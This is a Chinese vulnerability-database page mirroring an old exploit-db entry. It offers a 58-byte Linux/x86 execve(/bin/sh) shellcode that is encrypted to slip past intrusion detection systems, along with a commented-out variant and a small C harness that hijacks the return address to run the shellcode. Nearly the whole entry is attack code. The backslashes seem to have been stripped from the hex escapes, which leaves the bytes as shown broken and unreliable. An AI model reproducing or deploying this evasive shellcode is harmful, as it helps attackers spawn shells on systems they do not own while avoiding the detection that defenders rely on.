Linux/x86 – execve(/bin/sh) + Anti-IDS Shellcode (58 bytes)-安全小百科

Linux/x86 – execve(/bin/sh) + Anti-IDS Shellcode (58 bytes)

漏洞ID	1054599	漏洞类型
发布时间	2004-09-12	更新时间	2004-09-12
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Linux_x86	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/13455

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

/* !!!!!! PRIVATE !!!!!!!

   // ANTI-IDS SHELLCODE //
   // !!!!!!!!!!!!!!!!!! //

   [email protected]
   0x1d abril 0x7d2
   ./test.c

   !!! Shellcode (execve sh) Encriptada 
   !!! AHORA EN 58 BYTES !!!!!!!!!!!!!!

   Notese que la encripcion se ha hecho a toda la shellcode y no solamente al string /bin/sh.

   Perteneciente al paquete JempiScodes.tgz, por Matias Sedalo <[email protected]>.
   http://www.shellcode.com.ar/Projects/JempiScodes(version).tgz !!

   En caso de requerirla para otra plataforma, dentro de la linea BSD. Mailme.

*/
#include <stdio.h>

char shellcode[]= 

"xebx1bx5fx31xc0x6ax53x6ax18x59x49x5bx8ax04x0f" // 0x14 de mayo
"xf6xd3x30xd8x88x04x0fx50x85xc9x75xefxebx05xe8"
"xe0xffxffxffx1cx7fxc5xf9xbexa3xe4xffxb8xffxb2"
"xf4x1fx95x4exfex25x97x93x30xb6x39xb2x2c";		// ***********

/*
"xebx29x31xc0x31xdbx8bx24x24x29xd2x4ax31xc9xb1"
"x18xb3x53x8ax04x0cxf6xd3x30xd8x88x04x17x86xc3"
"x49x4ax85xc9x75xeex42x89xecx01xd7x57xc3xe8xd2"
"xffxffxffx53x1cx7fxc5xf9xbexa3xe4xffxb8xffxb2"
"xf4x1fx95x4exfex25x97x93x30xb6x39xb2x2c";
*/

void main() {
	int *ret;
	ret = (int *)&ret +2;
        printf("Shellcode lenght=%dn",strlen(shellcode));
	(*ret) =(int)shellcode;
}

// ANTI-IDS SHELLCODE //
// !!!!!!!!!!!!!!!!!! //

// milw0rm.com [2004-09-12]

相关推荐: WSMP3 Remote Command Execution Vulnerability

WSMP3 Remote Command Execution Vulnerability 漏洞ID 1100264 漏洞类型 Input Validation Error 发布时间 2003-05-21 更新时间 2003-05-21 CVE编号 N/A CN…

文章版权归作者所有，未经允许请勿转载。

THE END